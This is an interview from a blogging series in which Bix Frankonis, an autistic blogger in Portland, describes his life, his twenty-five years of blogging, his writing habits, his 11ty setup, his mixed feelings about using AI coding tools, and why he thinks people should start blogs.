code writing and running code. That’s not to say that you cannot download extensions. It is very much supported. But instead of necessarily encouraging you to download someone else’s extension, you can also point your agent to an already existing extension, say like, build it like the thing you see over there, but make these changes to it that you like. When you look at what Pi and by extension OpenClaw are doing, there is an example of software that is malleable like clay. And this sets certain requirements for the underlying architecture of it that are actually in many ways setting certain constraints on the system that really need to go into the core design. So for instance, Pi’s underlying AI SDK is written so that a session can really contain many different messages from many different model providers. It recognizes that the portability of sessions is somewhat limited between model providers and so it doesn’t lean in too much into any model-provider-specific feature set that cannot be transferred to another. The second is that in addition to the model messages it maintains custom messages in the session files which can be used by extensions to store state or by the system itself to maintain information that either not at all is sent to the AI or only parts of it. Because this system exists and extension state can also be persisted to disk, it has built-in hot reloading so that the agent can write code, reload, test it and go in a loop until your extension actually is functional. It also ships with documentation and examples that the agent itself can use to extend itself. Even better: sessions in Pi are trees. You can branch and navigate within a session which opens up all kinds of interesting opportunities such as enabling workflows for making a side-quest to fix a broken agent tool without wasting context in the main session. After the tool is fixed, I can rewind the session back to earlier and Pi summarizes what has happened on the other branch. This all matters because for instance if you consider how MCP works, on most model providers, tools for MCP, like any tool for the LLM, need to be loaded into the system context or the tool section thereof on session start. That makes it very hard to impossible to fully reload what tools can do without trashing the complete cache or confusing the AI about how prior invocations work differently. An extension in Pi can register a tool to be available to the LLM to call and every once in a while I find this useful. For instance, despite my criticism of how Beads is implemented, I do think that giving an agent access to a to-do list is a very useful thing. And I do use an agent-specific issue tracker that works locally that I had my agent build itself. And because I wanted the agent to also manage to-dos, in this particular case I decided to give it a tool rather than a CLI. It felt appropriate for the scope of the problem and it is currently the only additional tool that I’m loading into my context. But for the most part all of what I’m adding to my agent are either skills or TUI extensions to make working with the agent more enjoyable for me. Beyond slash commands, Pi extensions can render custom TUI components directly in the terminal: spinners, progress bars, interactive file pickers, data tables, preview panes. The TUI is flexible enough that Mario proved you can run Doom in it . Not practical, but if you can run Doom, you can certainly build a useful dashboard or debugging interface. I want to highlight some of my extensions to give you an idea of what’s possible. While you can use them unmodified, the whole idea really is that you point your agent to one and remix it to your heart’s content. I don’t use plan mode . I encourage the agent to ask questions and there’s a productive back and forth. But I don’t like structured question dialogs that happen if you give the agent a question tool. I prefer the agent’s natural prose with explanations and diagrams interspersed. The problem: answering questions inline gets messy. So reads the agent’s last response, extracts all the questions, and reformats them into a nice input box. Even though I criticize Beads for its implementation, giving an agent a to-do list is genuinely useful. The command brings up all items stored in as markdown files. Both the agent and I can manipulate them, and sessions can claim tasks to mark them as in progress. As more code is written by agents, it makes little sense to throw unfinished work at humans before an agent has reviewed it first. Because Pi sessions are trees, I can branch into a fresh review context, get findings, then bring fixes back to the main session. The UI is modeled after Codex which provides easy to review commits, diffs, uncommitted changes, or remote PRs. The prompt pays attention to things I care about so I get the call-outs I want (eg: I ask it to call out newly added dependencies.) An extension I experiment with but don’t actively use. It lets one Pi agent send prompts to another. It is a simple multi-agent system without complex orchestration which is useful for experimentation. Lists all files changed or referenced in the session. You can reveal them in Finder, diff in VS Code, quick-look them, or reference them in your prompt. quick-looks the most recently mentioned file which is handy when the agent produces a PDF. Others have built extensions too: Nico’s subagent extension and interactive-shell which lets Pi autonomously run interactive CLIs in an observable TUI overlay. These are all just ideas of what you can do with your agent. The point of it mostly is that none of this was written by me, it was created by the agent to my specifications. I told Pi to make an extension and it did. There is no MCP, there are no community skills, nothing. Don’t get me wrong, I use tons of skills. But they are hand-crafted by my clanker and not downloaded from anywhere. For instance I fully replaced all my CLIs or MCPs for browser automation with a skill that just uses CDP . Not because the alternatives don’t work, or are bad, but because this is just easy and natural. The agent maintains its own functionality. My agent has quite a few skills and crucially I throw skills away if I don’t need them. I for instance gave it a skill to read Pi sessions that other engineers shared, which helps with code review. Or I have a skill to help the agent craft the commit messages and commit behavior I want, and how to update changelogs. These were originally slash commands, but I’m currently migrating them to skills to see if this works equally well. I also have a skill that hopefully helps Pi use rather than , but I also added a custom extension to intercept calls to and to redirect them to instead. Part of the fascination that working with a minimal agent like Pi gave me is that it makes you live that idea of using software that builds more software. That taken to the extreme is when you remove the UI and output and connect it to your chat. That’s what OpenClaw does and given its tremendous growth, I really feel more and more that this is going to become our future in one way or another. https://x.com/steipete/status/2017313990548865292 ↩ First of all, it has a tiny core. It has the shortest system prompt of any agent that I’m aware of and it only has four tools: Read, Write, Edit, Bash. The second thing is that it makes up for its tiny core by providing an extension system that also allows extensions to persist state into sessions, which is incredibly powerful. https://x.com/steipete/status/2017313990548865292 ↩

0 views
Fernando Borretti 1 months ago

Some Data Should Be Code

I write a lot of Makefiles . I use it not as a command runner but as an ad-hoc build system for small projects, typically for compiling Markdown documents and their dependencies. Like so: And the above graph was generated by this very simple Makefile: (I could never remember the automatic variable syntax until I made flashcards for them.) It works for simple projects, when you can mostly hand-write the rules. But the abstraction ceiling is very low. If you have a bunch of almost identical rules, e.g.: You can use pattern-matching to them into a “rule schema”, by analogy to axiom schemata: Which works backwards: when something in the build graph depends on a target matching , Make synthesizes a rule instance with a dependency on the corresponding file. But pattern matching is still very limited. Lately I’ve been building my own plain-text accounting solution using some Python scripts. One of the tasks is to read a CSV of bank transactions from 2019–2024 and split it into TOML files for each year-month, to make subsequent processing parallelizable. So the rules might be something like: I had to write a Python script to generate the complete Makefile. Makefiles look like code, but are data: they are a container format for tiny fragments of shell that are run on-demand by the Make engine. And because Make doesn’t scale, for complex tasks you have to bring out a real programming language to generate the Makefile. I wish I could, instead, write a file with something like this: Fortunately this exists: it’s called doit , but it’s not widely known. A lot of things are like Makefiles: data that should be lifted one level up to become code. Consider CloudFormation . Nobody likes writing those massive YAML files by hand, so AWS introduced CDK , which is literally just a library 1 of classes that represent AWS resources. Running a CDK program emits CloudFormation YAML as though it were an assembly language for infrastructure. And so you get type safety, modularity, abstraction, conditionals and loops, all for free. Consider GitHub Actions . How much better off would we be if, instead of writing the workflow-job-step tree by hand, we could just have a single Python script, executed on push, whose output is the GitHub Actions YAML-as-assembly? So you might write: Actions here would simply be ordinary Python libraries the CI script depends on. Again: conditions, loops, abstraction, type safety, we get all of those for free by virtue of using a language that was designed to be a language, rather than a data exchange language that slowly grows into a poorly-designed DSL. Why do we repeatedly end up here? Static data has better safety/static analysis properties than code, but I don’t think that’s foremost in mind when people design these systems. Besides, using code to emit data (as CDK does) gives you those exact same properties. Rather, I think some people think it’s cute and clever to build tiny DSLs in a data format. They’re proud that they can get away with a “simple”, static solution rather than a dynamic one. If you’re building a new CI system/IaC platform/Make replacement: please just let me write code to dynamically create the workflow/infrastructure/build graph. Or rather, a polyglot collection of libraries, one per language, like Pulumi .  ↩ Or rather, a polyglot collection of libraries, one per language, like Pulumi .  ↩

0 views
Andy Bell 1 months ago

It really is the year of the website

I keep talking about it so I’m finally doing it. You might be looking at my website right now, thinking “this looks a bit basic m8″ and you’d be right. It’s because I’m building this website in iterations. The version you see now is the “wireframe” shell version and there’s lots more versions to come. Today, I’ve published the first post of a series on Piccalilli where I redesign and re-build this thing in the open. The hope is that it inspires you to build and maintain your own corner of the internet. I’ve also been (borderline desperately) trying to think of something to write about in 2026. Doing more practical, building stuff is the direction I’ve landed on. It links back to what I was talking about in my end of year wrap up , in the Be human and improve your own skills section: There’s been a bit of a culture of “I don’t need to bother doing that because of AI” and let me tell you — from someone who has been doing this stuff for nearly 20 years — that is a dangerous position to put yourself in. No single technology has surpassed the need for personal development and genuine human intelligence. You should always be getting incrementally better at what you do. Now, what I am  not  saying is that you should be doing  work  work out of hours. You are not paid enough and frankly, the industry does not value you enough.  Value yourself by investing your time in skills that make you happy and fulfilled . In that section , I also say “make yourself, and maintain a personal website”. I’ve had a website for a long time, but I couldn’t really maintain it anymore because frankly, I build it with my elbows. The previous iteration served me well, sure, but I want something to learn the new stuff with, to enjoy working on and to embrace the art . Me writing about that as I go is just the cherry on the top. I hope you’ll follow along as I do that! You can read the first post in the series here .

0 views

remotely unlocking an encrypted hard disk

Your mission, should you choose to accept it, is to sneak into the earliest parts of the boot process, swap the startup config without breaking anything, and leave without a trace. Are you ready? Let's begin. In which our heroes are introduced, and the scene is set. For a very long time I had a beat-up old ThinkPad that couldn’t hold a charge for the life of it, especially when running Windows. It tended to die a lot when I was traveling, and I travel a lot. To save battery when I’m away from home, I often ssh back into my home desktop, both so I have persistent state even if my laptop battery dies, and so I get much faster builds that don’t kill the battery. This has two small problems: For a long time I solved 1. by enabling “Power On" after "Restore AC Power Loss” in the BIOS and 2. with tailscale . However, I recently installed Arch with an encrypted boot partition, which means that boot doesn’t finish until I type in the encryption password. Well. Well. What if I Simply put tailscale in initramfs? In which our intrepid heroes chart the challenges to come. Oh, right. If you weren’t aware, early boot in a Linux operating system 1 is just running a full second operating system that happens to be very small, lol. That’s loaded from a compressed archive file in /boot 2 and run from memory, with no access to persistent storage. This OS running from memory is called initramfs (initial RAM filesystem). So when you see a screen like this: That’s actually a whole-ass OS, with an PID and service management and everything. This is how, for example, can show you stats about early boot — there’s another copy of systemd running in initramfs, and it passes its state off to the one in the main OS. Well. That implies we can install things on it ^^. There’s three parts to this: We also want to make this as secure as possible, so there’s some more things to consider: We can solve this in a few ways: Some background about Tailscale’s ACLs (“access control lists”). Tailscale’s users are tied to their specific login method: you can, for example, add a passkey, but that passkey counts as a fully separate user than your original account. Tailscale also has “groups” of users, which are what they sound like, “ auto groups ”, which again are what they sound like, “hosts”, which are a machine connected to the network, and “tags”. Tags are odd, I haven't seen anything like them before. They group hosts, not users, and when you add a tag to a host, that counts as its login method , rather than the host being tied to a user account. A consequence of this is that the group does not include tagged machines, because tagged machines aren’t tied to a user account. (A second consequence is that you can’t remove all tags from a machine without logging out and logging back in to associate it with your user account.) So we can write a policy like this: This says “allow devices tied to a user account to access any other device, and allow no permissions at all for devices tied to a tag”. here is my desktop, and is its initramfs. 3 Because initramfs is just a (mostly) normal Linux system, that means it has its own PID 1. On Arch, that PID is in fact just systemd. That means that we can add systemd services to initramfs! There's a whole collection of them in ( is the tool Arch uses to regenerate initramfs). We need two services: an SSH server (I went with ) and something to turn on networking, which this collection names . It's possible to run directly, rather than having a separate SSH server, but I didn't find any way to configure tailscale's SSH command, and I don't want to let anyone have a shell in my initramfs. In which our heroes execute their plan flawlessly, sneaking in without a sound. If you follow these steps on an Arch system, you should end up with roughly the same setup as I have. Most of these commands assume you are running as root. Install the dropbear SSH server: Install the systemd packages: Add networking ( ), tailscale ( ), and dropbear ( ) to : Set up the keys for your new tailscale device: In the tailscale web console , mark your new device with , and disable key expiry. It should look something like this: In , configure dropbear to only allow running the unlock command and nothing else: Tell systemd to wait forever for a decryption password. I use , so I edited . Under , I extended the existing to . 4 Copy your public keys into so they get picked up by the dropbear hook: Generate a new public/private keypair for use by the dropbear server. Without this, the dropbear hook will try to load keys from openssh, which means they'll be shared between early boot and your normal server. In particular that would mean your SSH server private keys would be stored unencrypted in initramfs. Setup early networking. (Note: these instructions are only for Ethernet connections. If you want WiFi in early boot, good luck and godspeed.) All this rigamarole is necessary because the OS doesn't set the network interfaces to predictable names until late boot, so it needs some way to know which interface to use. Last but not least, rebuild your initramfs: . Next time you reboot, you should be able to ssh into and get a prompt that looks like this: In which a moral is imparted, and our scene concluded. The takeaway here is the same as in all my other posts: if you think something isn't possible to do with a computer, have you considered applying more violence? and I believe in Windows, although I’m less sure about that ↩ sometimes /boot/EFI ↩ Here “initrd” stands for “initramdisk”, which is another word for our initramfs system. ↩ See the docs for more information about this. ↩ Sometimes my home loses power and the desktop shuts off. Sometimes when the power comes back on it has a new public IP. Networking in initramfs Tailscale in initramfs SSH in initramfs Putting tailscale in initramfs means that it has unencrypted keys lying around. Tailscale keys expire (by default) after 90 days. At that point this will all break. You really really don’t want people to get SSH access to your early boot environment. Use Tailscale ACLs to only allow incoming connections to initramfs, not outgoing connections. Set the key to never expire. Set the SSH server to disallow all shells except the actual unlock command ( ). Install the dropbear SSH server: Install the systemd packages: Add networking ( ), tailscale ( ), and dropbear ( ) to : Set up the keys for your new tailscale device: In the tailscale web console , mark your new device with , and disable key expiry. It should look something like this: In , configure dropbear to only allow running the unlock command and nothing else: Tell systemd to wait forever for a decryption password. I use , so I edited . Under , I extended the existing to . 4 Copy your public keys into so they get picked up by the dropbear hook: Generate a new public/private keypair for use by the dropbear server. Setup early networking. (Note: these instructions are only for Ethernet connections. If you want WiFi in early boot, good luck and godspeed.) Add the following config in : Register it in so it gets picked up by the hook: Last but not least, rebuild your initramfs: . and I believe in Windows, although I’m less sure about that ↩ sometimes /boot/EFI ↩ Here “initrd” stands for “initramdisk”, which is another word for our initramfs system. ↩ See the docs for more information about this. ↩

0 views
Jason Scheirer 1 months ago

Steam on non-Conventional Desktops (Niri)

I’m trying out Niri ! You know how I encourage getting used to the defaults ? Well I’m not following my own advice ! I’m using it with Dank Shell too, also ignoring my own advice ! Anyhow! One liner! If Steam isn’t working do this: edit and change the line to this:

0 views
Brain Baking 1 months ago

Customizing The Emacs Email Experience With Mu4e

You all knew this was coming. After thinking about my email workflow I had to put it to practice. The grand plan was to force myself to learn more about Emacs by doing email in it with the added advantage of freeing up Mac Mail to manage my Exchange work emails there. Anything is better than staring at that dreaded Outlook web interface. There are tons of cool blog posts out there about , , and configuration—this one’s mine. Most focus on how to set up mbsync which is the CLI tool that syncs your IMAP account with a local folder for mu to index. The process is fairly straightforward: the only tricky thing to do is use macOS’s password keyring to store the IMAP password and export a copy of the certificates for the handshake: Instead, I’d like to focus on configuration, as most of my sweat originated from that direction. You can find the full config at my “bakemacs” Codeberg repository . I customized the hell out of it. First and foremost, I hate the default UI of mu4e. Splitting windows horizontally when opening an email just feels like a giant amount of wasted space. Any other sane email client splits vertically, usually in the popular three-column mode. The first column, a quick jump to your folders, isn’t needed thanks to the shortcuts. Changing the split config is very easy: . Fiddle with to get that percentage header/view just right (mine’s at ): But then the first buffer becomes completely useless because mu4e’s header columns are sorted in a weird way. The from and subject columns are last which will be covered by the mail you just opened. Quickly scrolling through mails with (next) and (previous) loses its meaning. But mixing that up isn’t that easy as the last column with a width of is the only one that can take up the remaining room. Additionally, since I use , I want the headers to be consistent. Wait a minute, what’s ? That doesn’t exist! Well, it does now: No wonder the column isn’t used by default. Then, wire the header layout function to both and . The result: mu4e:view with a mu4e:headers buffer to the left. To discourage Emacs from opening the HTML version first in case both MIME parts are there just like in the screenshot, set . If you receive a lot of HTML email with weird CSS colors, this might be handy too: Mu4e feels like a classic eighties text-based terminal app. No wonder conversation mode doesn’t exist—but it makes up for that with the shortcuts (once you’re familiar with them) and the threading view options it provides. Yet my completely screwed up that because the last column isn’t the “flexible” column anymore. Whoops. Most other blog posts seem to prefer horizontal splits as well. Digging into , I discover a way to simply overwrite the logic: There, better. How about we add a quick way to fold and unfold all these conversations? integrates your sent mails into the thread just like a conversation but quickly turns the view into a mess, hence the toggle. I bound these to and . The result: Showcasing the threading and related threading toggles in mu4e:view mode. The decent column colours come from the package . The flags can be souped up with fancy variants by setting and pairing simple with fancy char (e.g. ). I prefer using nerd icons like everywhere else but haven’t yet figured out how to do so. You can simply instruct mu4e to use an external syncing tool by setting to . I used to hack it with the value and then add an Elisp hook to execute the shell command myself in order to jam in as a spam filter but that screws up the async fetch logic. The problems don’t stop with spam filtering: I also want to apply some simple rules that automatically move incoming mails to certain IMAP folders. Mu4e doesn’t work like that, you’re supposed to use labels and leave things as is, but I’d rather not. With some help from my friend Gemini to identify the right functions, I came up with this: That’s hooked into . What does this thing do? Matching for rules is fairly straightforward: The function inserts the first 10k chars of the email file itself into a temp buffer and uses regex to match the rules. A few caveats: occurs more than once in a raw email file, search for the beginning of a line. Also, the first 2k chars wasn’t enough, some headers contain a lot of junk. You could just as well dump everything in there but the limit is there just in case. But what if we move an email to the junk folder ourselves—shouldn’t we train bogofilter to identify future mails like that as spam? Ah yes: I don’t know if the hook hack is the right thing to do but this works. More annoyances? You’d be starting to wonder why use mu4e at all, right? Because we can and because it’s Lisp! When marking mails for actions such as deleting and moving, after pressing to execute all marks you still have to confirm with or . I hate that: I want and that’s it. Another hack to the rescue: The solves another annoyance: updating in main mode is bound to the key but I don’t need that stinkin’ uppercase there. Also, since is my anywhere else because I’m coming from a more traditional editor, I have it pop up here instead. While debugging the spam filter function I occasionally required the full path of the open mail. Here’s a handy function that adds it to your kill ring (that’s Emacs l33t speak for “clipboard history”): We’re almost there. Yesterday I had the luminous idea to integrate Mac Contacts with mu4e. By default, when you enable auto-completion in compose mode, fetches data from mu’s indexes. That means you’ll see email addresses from folks you’ve already exchanged mails with. But I might have contacts saved (wired to our own CardDav server) where that’s not the case. I discovered that this functionality is actually built into Emacs with . Except that that didn’t work. Well, it didn’t at first because I had Emacs running as a daemon using which is very strictly sandboxed and blocks any access to Contacts even though I explicitly approved it in the security settings. Now I run it as a simple login items startup shell script meaning it runs under my account. And then it still didn’t run smoothly : the autocomplete took 4 seconds to load because is ridiculously slow. So I went the other route and tried , a small tool that fetches info from Contacts leveraging Swift’s native Mac-compliant capabilities. And that didn’t work either because I couldn’t get the tool to run. So I rolled my own, or rather, let Gemini do most of the rolling, as I don’t know anything about Swift let alone the Mac-specific interfaces. It came up with a small script that I simply embedded into Elisp as a string: The output of then becomes . Cool! But how do we hook this into the existing mu4e autocomplete that already serves mu’s indexed email addresses? Use Cape’s Super-Capf that merges stuff into a giant completion at point function: There, more annoyances fixed by disabling auto fill mode and telling Corfu to stay put until I press myself. The keen Elisper will notice that we also wrapped the default to be able to inject a lambda. This adds a nice icon to keep things consistent. Yes, you’re right, is a symbol that doesn’t exist in —just define it yourself with . The result: Autocompleting email addresses in the To: field in mu4e:compose mode. Note the two test emails appearing with suffixes: these come from Mac Contacts, while the first email address is a bogus one I emailed to in order to showcase the merge. The first time this triggers it’s still a bit slow because of the Swift interpreter. I guess I can look into compiling that somehow? For now, I hope not to mess too much with the config anymore and to actually, you know, use it? Ah, the Emacs curse… Related topics: / emacs / email / By Wouter Groeneveld on 15 January 2026.  Reply via email . Find all email paths in the inbox folder ( is a custom var I made up) using . I failed to find something working that mu4e provided. For each path, ask bogofilter if this is spam. If yes, move to . If no, check the rules to see where it should end up in. Move with , but strip the mu suffixes that already gave it an ID as this otherwise confuses mbsync/mu because we moved the file ourselves. Re-index if anything happened to keep things in sync.

0 views
Manuel Moreale 1 months ago

Bix Frankonis

This week on the People and Blogs series we have an interview with Bix Frankonis, whose blog can be found at bix.blog . Tired of RSS? Read this in your browser or sign up for the newsletter . The People and Blogs series is supported by Brennan Kenneth Brown and the other 129 members of my "One a Month" club. If you enjoy P&B, consider becoming one for as little as 1 dollar a month. My name is Bix, and I’m a straight, white, middle-aged, cisgender man born in upstate New York who now lives in the St. Johns neighborhood of Portland, Oregon—my hometown since 1997 and the longest I’ve lived anywhere since becoming an adult. I’m actually-autistic and multiply otherwise disabled, and remain, as I’ve been for most of my life, financially dependent upon my remaining parent. (If that’s for some reason not enough, my homepage will tell you more than you possibly could want to know, and a previous birthday post serves as the first part of my, and my blog’s, manifesto.) “Bix” is a descendent and derivation of an online handle I’d once had that became my everyday name and then, in 2018, my legal one . To a large degree the modern era of my blogging is dedicated to posting through the above realities both present and future. I live alone except for a gray and white domestic shorthair cat named Meru after the protagonist of the comic book Mind MGMT. I’ve been online since a dialup gopher server run by public libraries in upstate New York allowed me to upload a file of Twin Peaks symbolism to an FTP server in Australia and telnet into an internet BBS based in New York City called MindVox . In the mid-90s, along with two other people I ran a large and cumbersome online petition effort against the Communications Decency Act which inspired a more rigorous one from the Center for Democracy and Technology, and which landed me in the pages of Rolling Stone . In the late-90s, I ran an Internet cafe , or more accurately ran it into the ground for reasons I now know to be the unaccommodated and unmitigated autism, since I wasn’t diagnosed until 2016. In the early-2000s, I blogged original political reporting (also at the time called “stand-alone journalism”) here in Portland that was widely-read in local government circles and got me profiled in The Oregonian and cited in two books. If you traveled in Firefly fandom circles, you probably at least once found yourself on one or another fansite I’d put together in my own decade or so. Finally, for a time in the mid-2010s, I project managed a nonprofit herd of urban goats here in Portland. These days, life mostly is just about listening to, reading, and watching things, and, of course, the blogging . As with most autistic people, habit and routine are foundational and self-regulating, and so every day I get in an hour of reading at a neighborhood coffeeshop; once a week I take myself for breakfast out (also in the neighborhood); and— fatigue willing —once a month I try to get across town to Oregon Zoo (where I’ll also indulge in my intermittent but long-standing photography hobby ) but over the past year this hasn’t happened all that often, much to my increasing chagrin. The current iteration of my blog goes back to 2019 when I received the bix.blog domain as part of Automattic’s “dotblogger” program (you can read my pitch for it), although I consider my actual modern blogging era to start the year before, in 2018 when I started blogging about my 2016 autism diagnosis on Medium. This current era includes earlier this year having had my twenty-fifth blogging anniversary (a post which also serves as the second part of my manifesto), since I’ve been blogging in some form since early in the year 2000—usually personal blogging but occasionally something subject-specific, using many different kinds of blogging software, hosting and self-hosted solutions, and domains. Since I cannot for certain remember what was my very first blogging, it’s not clear to me whether I was motivated to represent myself personally online or whether my first blog was project-specific—even though the latter undoubtedly still was infused by my personality. It’s unlikely that I’ve ever blogged in any kind of dry, “professional” tone and so, in that sense, it’s all personal blogging. As the late Christopher Locke once said, for better or worse, “Voice is what happens when you shitcan the cover-up.” These days, blogging also (at least in theory) includes the longterm project of working toward restoring as much of those two and a half decades as possible, using categories to designate a post’s original domain. It’s a positively gargantuan task —not least because I don’t have archives of everything and some things will need to be re-created post-by-post using the Wayback Machine. As I noted in my IndieWeb Carnival post on self-expression, blogging very much is a coping mechanism, without which I’d only be even more lost, despite the continually recurring mixed feelings I have about it because on the matter of ego (yet another reference to my manifesto post). One of the things that interests me about the restoration project is learning how that coping mechanism functioned for previous versions of me . Simply put: I blog when I cannot not blog. Depending on the post and how time-sensitive it is or isn’t, I might jot things down in Apple Notes (as I did with my initial pass at answers to these questions) before creating and saving a draft in Markdown on my laptop. Typically speaking, though, many if not most posts are written in one sitting, with a post now and then set aside for a second look later that day or the next morning before actually posting it. It’s not unusual for me to spot typos or remember something I forgot to add within hours after a post goes live, in which cases I will make edits. In most cases where I need to come back to post to add something days later, I include an Addenda section at the bottom where I include those updates. Any farther out than that, and mostly I just write a new post. It’s very rare for me to have posts “banked” for posting at a later date, like I know some other bloggers do, since publicly posting something is the final step to getting that thing out of my head where it’s been taking up space—and also because blogging for me is an ongoing process of self-narration (and self-belief ), which for me necessarily means it’s got to be happening in real-time. For that same reason of self-narration, many of my posts necessarily link previous posts somehow relevant to the post at hand. While writing, I’ll often have such posts in mind but don’t bother to do the work of actually adding the links to them until the post is substantively written. Those linked posts then carry a “referring posts” section. In this way, my blog partakes of a tiny bit of “digital garden” magic (the digital garden being the other popular way in which people who make personal websites organize them) by helping to tie together my thinking on specific matters over time. My blog, then, becomes (somewhat like my phone ) an external component of my autistic or otherwise-addled brain. As for what motivates me and the question of what I actually blog about : in the end anything and everything I write can’t help but be about myself—whether the specifics of what I’m writing about happen to be blogging itself, or a movie or television show I recently watched, or autism research, or the politics of solidarity. Over the past year or two, I’ve become especially interested in how important it is for us to spend time letting each other know that we are seen and we are heard. (There’s nothing quite like blogging a movie no one’s seen, one that’s emphatically about being seen and heard, and—this part, too, is in my manifesto post—having it make the filmmakers’ day.) All of this is subject to the whims of fatigue or, as has been the case lately, autistic burnout —which is why I’ve not been blogging as much as I usually do, and why, in fact, it took me nearly two months just to answer these questions. Never before have I felt such cognitive paralysis and claustrophobia when attempting to write, which as you can imagine is simply terrific when writing is one of your self-regulating activities. Only very rarely can I write outside of the house—say, at one of my neighborhood coffeeshops. As I’ve returned to again and again, my blogging is a sort of writing myself into existence and claiming the space I take up in the world, and this is a sensitive mindset that’s, perhaps ironically, best protected by being alone and home instead of up and about and subject to the stressors of being autistic and anxious out in the world. This in part is because the “spotlight effect” is real, and if I’m writing at a coffeeshop I can only do it with my back against the wall. (I mean that literally, not metaphorically.) It’s extremely rare, although not completely unheard of, for me to have anything else going on around me, like a television show or music, when I am writing. If I do feel the need for music, it’s generally going to be something instrumental like LoFi Girl playlists or the soundtracks to Station Eleven or The Fallout (of all things). It’s fairly common, at least when it comes to my longer posts, and almost surely when it comes to my more discursive ones, to fall into hyperfocus . If you’re autistic otherwise neurodivergent and know this state, this usually means looking up after an hour or two and realizing you’re light-headed from forgetting to eat lunch and with a very pressing need to go to the bathroom—themselves two things perhaps better realized at home than at a neighborhood coffeeshop. Early this year, I migrated to 11ty after several false starts looking at various static site generators and failing to come to terms with them—despite the fact that once upon a time in the mid-2000s I self-hosted MoveableType on an OpenBSD box over my home DSL, so it’s not like I’m incapable of understanding things. Right now, posts are written in Panda, the stand-alone editor from the makers of Bear (the Markdown notes app, not the blogging service), on my MacBook Air where I have my local 11ty install. Recently, I switched from manually uploading the built site directory to Netlify to using continuous deploy via pushing to GitHub, after a timezone snag with the latter process finally was resolved. For the rare post that includes an image or two, I currently host those on some.pics, a service of omg.lol, because my blog previously was on their weblog.lol service and it’s just easier to keep doing that for now. I’m still a Flickr Pro member, so at some point I might switch over to them, since that’s where all my photography is anyway, except that, even more rarely, sometimes I’m posting a graphic instead of a photo, and those I do not also have on Flickr. (This is one way in which I miss the ease of an actual blogging CMS, but there currently aren’t any such tools that don’t frustrate me past my point of patience. When I win the lottery, I will pay someone to build me one that does everything I need, and only what I need. Ironically, all these years decades later, Blogger and MoveableType still had the right idea: a CMS that publishes a static site.) There might have been some early iteration of my blogging which was done manually, but if so it’s lost to the severely deficient autobiographical memory and no archive exists. The earliest blogging software I would have used would have been Blogger, but (as noted) I spent many years self-hosting MoveableType over my home DSL, before moving on the WordPress for at least as long. Along the way I’ve tried many different things, from TypePad to Tumblr, micro.blog to weblog.lol, Proseful to (the other) Bear to Pika. I think I even very briefly used really simple a shell script on a VPS. (Full disclosure: I fully admit to an ethical conflict when it comes to “bullshit bots”, or generative so-called AI. I dislike their misuse of copyrights, I dislike their climate impact, I dislike removing cognitive friction from creation, and I dislike that ultimately these bots will just keep narrowing the breadth of human knowledge and expression and everything becomes increasingly self-referential. Nonetheless, I’ve used ChatGPT and GitHub Copilot when needing to solve specific technical challenges, especially when converting archived posts from previous blogs, or to create features such as my “on this day” and “recently read blogs” widgets. I am not a coder, and while I often can understand, for lack of a better way to say it, the story of a piece of code and make tiny, piecemeal adjustments to existing code because of that, I cannot myself code from scratch. My “excuse” in the end is inevitably a selfish one: the blog, in many ways, is all I have, and all that will be left of me when I am gone that said “I was here”, and I need it to function in a certain way. I’m up front about this, because people have a right to call me a hypocrite. That said, as I recently announced , it is my intention not to use these tools going forward, although any existing code will remain in use barring a clear route to replacement.) This is a pretty good example of the type of question I don’t know how to answer. I started blogging within a particular context and at a particular time, and that context and time, and their circumstances and people, are ancestors to who I am today. I don’t know how to blank out that past to imagine how I’d do it now absent that history. More generally, if we take this question as advice to others: there’s a saying (of a provenance I’m not even going to attempt to trace) that the best time to plant a tree was twenty years ago—but the second-best time is now. I think we are right now living in the second-best time to start a blog, because there’s a clear interest percolating in trying to re-center blogs in a way that hasn’t been seen since before the combined rise of content marketing and Twitter, as seen by the advent of sites such as ooh.directory and blogroll.org . Perhaps all we’re really lacking is something along the lines of Technorati and the other services that once existed to help us see not merely who is linking to what URLs but who is linking to whom . This unmet need, I feel, needs to be addressed if blogging truly is to become once again a blogosphere—or, more likely in this day and age, a whole, diverse, plural set of blogospheres . Two years ago, I ran with an idea Kevin Lawver had of blogging as the empathy engine of the web, and in today’s increasingly authoritarian environment we need more than ever as much public solidarity between and among whole persons as we feel we safely can put online. We have a real chance to reclaim an internet where we are people , not users. For anyone reading these interviews who isn’t themselves yet blogging: please start a blog. We need you here. (If someone is looking for some passionate motivation, I suggest watching Pump Up the Volume , the 1990 film that is the patron movie of blogging despite pre-dating blogging itself. “Talk hard.”) It currently does not cost me anything to run my blog beyond the domain which isn’t due for renewal until 2030, nor does it make any money. I’m technically part of One a Month Club , but I don’t really promote that beyond a site badge and in the footer of my RSS feed. However, I cap membership numbers because above a certain threshold it would affect my eligibility for SNAP and Medicaid benefits here in the U.S. without actually providing enough support to make up for those losses. (I’d never actually reach those kinds of membership numbers anyway, but I’d rather be safe than sorry.) More generally, people of course can do whatever they want with their personal blogs. That’s what makes them personal. I’d assume that I’m more inclined to expect personal blogs not to be behind outright paywalls, but your mileage may vary. I don’t have any inherent objection to blogging as a side-hustle, but blogs that specifically try to hustle readership behind paywalls or otherwise cumbersome hoops will tend to feel much less personal to me. That said, I’ll readily admit to an outright bias against anyone whose primary purpose is “content marketing” or growth hacking, or who obsesses over things like SEO, because I believe that the focus on these things is part of what helped push blogs to the edges of the internet and mainstream irrelevancy around the same time that Twitter not only consumed the subset idea of microblogging but also made it explicitly—and frictionlessly—social. Recommendations are always difficult for me because my brain dislikes ranking things or people. It’s why I don’t rate books on Goodreads and why I don’t rate movies on Letterboxd and simply mark the things I enjoyed. It’s also why I don’t maintain a blogroll, although I certainly did back in the OG blogging days. So, the first part of my answer here is going to be a bit of a cheat, if nonetheless a responsive one. At the bottom of the front page of my blog, above the four links to places to find more blogs, is what I’ve referred to as a “bloglog” (what others lately have taken to calling a “postroll”). In my case it lists the ten blog posts by other people that I’ve actually read most recently (or, at least, as of the last time my site was built)—and it’s also available as an RSS feed . It all runs off an Instapaper tag, and I’m sure there’s plenty of blogs there for people to discover. That said, I will offer a short list that splits the difference between some fellow OG bloggers, a couple of more recent finds, and some of the newer self-tagged “word vomit” bloggers on sites like Bear. This is less about placing any of these bloggers above any others in my estimation than about making some suggestions that help expand the types of bloggers represented in this series. Here I’ll just crib a couple of projects from the “sites” section of my homepage. Since late 2001, around the time that so-called “warblogging” became a thing, I’ve been hosting an ad- and cruft-free, minimalist presentation of Mark Twain’s The War Prayer which often finds itself shared with students by teachers. (It’s also on my longest-running domain.) Two years ago I returned to the internet the complete archive of a shipyard workers zine from World War II, updated my research into it, and this year I finally turned over the originals to Oregon Historical Society. 